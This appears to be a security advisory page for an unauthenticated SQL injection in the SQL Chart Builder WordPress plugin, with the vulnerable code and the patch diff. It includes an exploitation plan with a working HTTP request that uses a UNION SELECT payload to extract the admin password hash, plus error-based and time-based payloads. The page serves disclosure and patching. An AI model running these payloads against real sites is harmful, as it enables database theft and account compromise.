SQL Chart Builder < 2.3.8 - Unauthenticated SQL Injection
Description
The SQL Chart Builder plugin for WordPress is vulnerable to SQL Injection in versions up to 2.3.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<2.3.8What Changed in the Fix
Changes introduced in v2.3.8
Source Code
WordPress.org SVNThis exploitation research plan details the methodology for verifying the unauthenticated SQL Injection vulnerability (CVE-2026-4079) in the SQL Chart Builder plugin. ### 1. Vulnerability Summary The SQL Chart Builder plugin (versions < 2.3.8) is vulnerable to SQL Injection because it uses a custom…
Show full research plan
This exploitation research plan details the methodology for verifying the unauthenticated SQL Injection vulnerability (CVE-2026-4079) in the SQL Chart Builder plugin.
1. Vulnerability Summary
The SQL Chart Builder plugin (versions < 2.3.8) is vulnerable to SQL Injection because it uses a custom template engine to replace placeholders (e.g., {arg1}, {variable_name}) within SQL queries with user-supplied input from $_REQUEST. This replacement is performed using simple string manipulation (likely str_replace) without applying wpdb::prepare() or esc_sql() to the incoming values. Consequently, an attacker can supply a malicious payload that "breaks out" of the intended query logic to execute arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
guaven_sqlcharts_get_data(Unauthenticated) - Vulnerable Parameter: Any parameter name that matches a placeholder defined in the chart's SQL query (e.g.,
arg1,my_filter). - Required Parameter:
id(The WordPress Post ID of thegvn_schartobject). - Authentication: None required (the action is registered via
wp_ajax_nopriv_).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionguaven_sqlcharts_get_data. - Chart Loading: The handler retrieves the
idfrom the request and fetches the correspondinggvn_schartpost from the database. - SQL Template Retrieval: The handler reads the SQL query template stored in the post's metadata (likely the
guaven_sqlcharts_sqlorgvn_sql_codemeta key). - Insecure Replacement: The handler parses the SQL template for placeholders like
{...}. For each placeholder, it looks for a corresponding key in$_POSTor$_GET. - Sink: The handler performs a
str_replaceof the placeholder with the raw user input and then passes the resulting "poisoned" string directly to$wpdb->get_results().
4. Nonce Acquisition Strategy
Historically, the guaven_sqlcharts_get_data action in this plugin did not enforce nonce verification for frontend chart rendering to facilitate dynamic filters. However, if a nonce is required, it will be localized in the page source where a chart is displayed.
Strategy:
- Identify the JavaScript variable used for nonces. Based on
functions.php, the plugin usesguaven_sqlcharts_notice_dismissedfor some actions. For data fetching, look for a variable namedguaven_sqlcharts_ajaxor similar. - Create a test page containing the chart shortcode:
wp post create --post_type=page --post_status=publish --post_content='[gvn_schart_2 id="REPLACE_WITH_CHART_ID"]'. - Navigate to this page using
browser_navigate. - Extract the nonce via
browser_eval:// Inferred nonce location based on plugin naming conventions window.guaven_sqlcharts_ajax?.nonce || window.gvn_sql_nonce - If no nonce is found and the request fails with
-1, audit the HTML for any hidden inputs or localized JS objects containing "nonce".
5. Exploitation Strategy
The goal is to use a UNION SELECT to extract the administrator's password hash from the wp_users table.
Step 1: Setup the Target Chart
An attacker needs a chart ID to target. Since we are in a controlled environment, we will create one with a known placeholder.
Step 2: Column Discovery
The payload must match the number of columns in the original query. We will use ORDER BY to find this number.
Step 3: Data Extraction
Once the column count is known, we use UNION SELECT to leak the user_pass for the user with ID=1.
HTTP Request (Example):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=guaven_sqlcharts_get_data&id=[CHART_ID]&id_tag=0 UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- -
(Note: The parameter id_tag must match the placeholder {id_tag} in the SQL we define in step 6).
6. Test Data Setup
Prepare the environment using WP-CLI to create a vulnerable chart entry.
# 1. Create the Chart Post
CHART_ID=$(wp post create --post_type=gvn_schart --post_title="Sqli Test" --post_status=publish --porcelain)
# 2. Set the SQL Template Meta (Inferred meta keys: gvn_sql_code)
# We use a placeholder {id_tag} which we will control via AJAX
wp post primary-setup $CHART_ID --meta_input='{"gvn_sql_code": "SELECT post_title, post_date, post_author, ID FROM wp_posts WHERE ID = {id_tag}"}'
# 3. Define the dynamic filter (Required for the plugin to recognize the tag)
# Format: variable_name~default_value~label~type
wp post meta set $CHART_ID gvn_sql_vars "id_tag~1~ID~number"
# 4. Create a public page to view the chart (and potentially extract nonces)
PAGE_ID=$(wp post create --post_type=page --post_title="Chart Page" --post_status=publish --post_content="[gvn_schart_2 id=\"$CHART_ID\"]" --porcelain)
7. Expected Results
A successful exploit will return a JSON object where one of the fields contains the WordPress password hash (starting with $P$ or $wp$).
Example Successful JSON Response:
[
{
"post_title": "$P$Bv8J3...",
"post_date": "3",
"post_author": "4",
"ID": "1"
}
]
8. Verification Steps
After performing the HTTP request, verify the leaked hash against the actual database:
# Verify the hash matches the one in the database
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based SQLi: If the output is suppressed but errors are displayed (common if
WP_DEBUGis on), useupdatexml()orextractvalue():id_tag=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
- Time-Based Blind: If neither
UNIONnor errors work, useSLEEP():id_tag=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Parameter variations: If
id_tagdoesn't work, tryarg1,arg2, etc., as these are hardcoded defaults in some versions of the plugin's shortcode handler.
Summary
The SQL Chart Builder plugin is vulnerable to unauthenticated SQL Injection via the guaven_sqlcharts_get_data AJAX action. The vulnerability exists because the plugin uses string replacement to insert user-supplied input into SQL templates without applying wpdb::prepare() or esc_sql(), allowing attackers to manipulate queries and extract sensitive data.
Vulnerable Code
// functions.php around line 388 if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1]; if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='"'.$varreplacement.'"'; $sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial);
Security Fix
@@ -385,8 +385,21 @@ $varfield_arr=explode("~",$varfield); if (count($varfield_arr)<3) continue; $varfield_arr=array_map("trim",$varfield_arr); - if (!empty($_GET[$varfield_arr[0]])) $varreplacement=$_GET[$varfield_arr[0]]; else $varreplacement=$varfield_arr[1]; - if (!is_numeric($varreplacement) and strpos($varreplacement,'()')===false) $varreplacement='"'.$varreplacement.'"'; + if (!empty($_GET[$varfield_arr[0]])) { + // User-supplied input: no () bypass allowed — sanitize strictly + $varreplacement = sanitize_text_field(wp_unslash($_GET[$varfield_arr[0]])); + if (is_numeric($varreplacement)) { + $varreplacement = $varreplacement + 0; + } else { + $varreplacement = '"' . esc_sql($varreplacement) . '"'; + } + } else { + // Admin-configured default value: allow () for SQL functions (e.g. NOW()) + $varreplacement = $varfield_arr[1]; + if (!is_numeric($varreplacement) && strpos($varreplacement,'()')===false) { + $varreplacement = '"' . esc_sql($varreplacement) . '"'; + } + } $sql_initial=str_replace('{'.$varfield_arr[0].'}',$varreplacement,$sql_initial); } @@ -471,6 +484,7 @@ function guaven_sqlcharts_local_shortcode($atts) { if(empty($atts['id']))return 'ID is missing.'; + $atts['id']=intval($atts['id']); $remote_host=get_post_meta($atts['id'], 'guaven_sqlcharts_dbhost', true); if ($remote_host!=''){ $remote_db=get_post_meta($atts['id'], 'guaven_sqlcharts_dbname', true); @@ -571,6 +585,7 @@ add_shortcode("gvn_schart_2_cached",function($atts){ if(empty($atts["id"]))return; + $atts["id"]=intval($atts["id"]); $is_logged_in=is_user_logged_in()?'':'_guest'; $expire=!empty($atts["expire"])?intval($atts["expire"]):3600; $cached=get_transient('cached_sql_charts_'.$atts["id"].$is_logged_in);
Exploit Outline
An attacker first identifies the ID of a published chart and the names of any placeholders used in its SQL query (often visible in the frontend filters or shortcode parameters). They then send an unauthenticated POST or GET request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'guaven_sqlcharts_get_data' and the 'id' parameter set to the target chart ID. By providing a payload in the parameter matching the chart's placeholder, the attacker can break out of the intended query logic. For example, using a UNION SELECT payload, the attacker can extract sensitive information like WordPress user password hashes from the wp_users table, which the plugin will then return as a JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.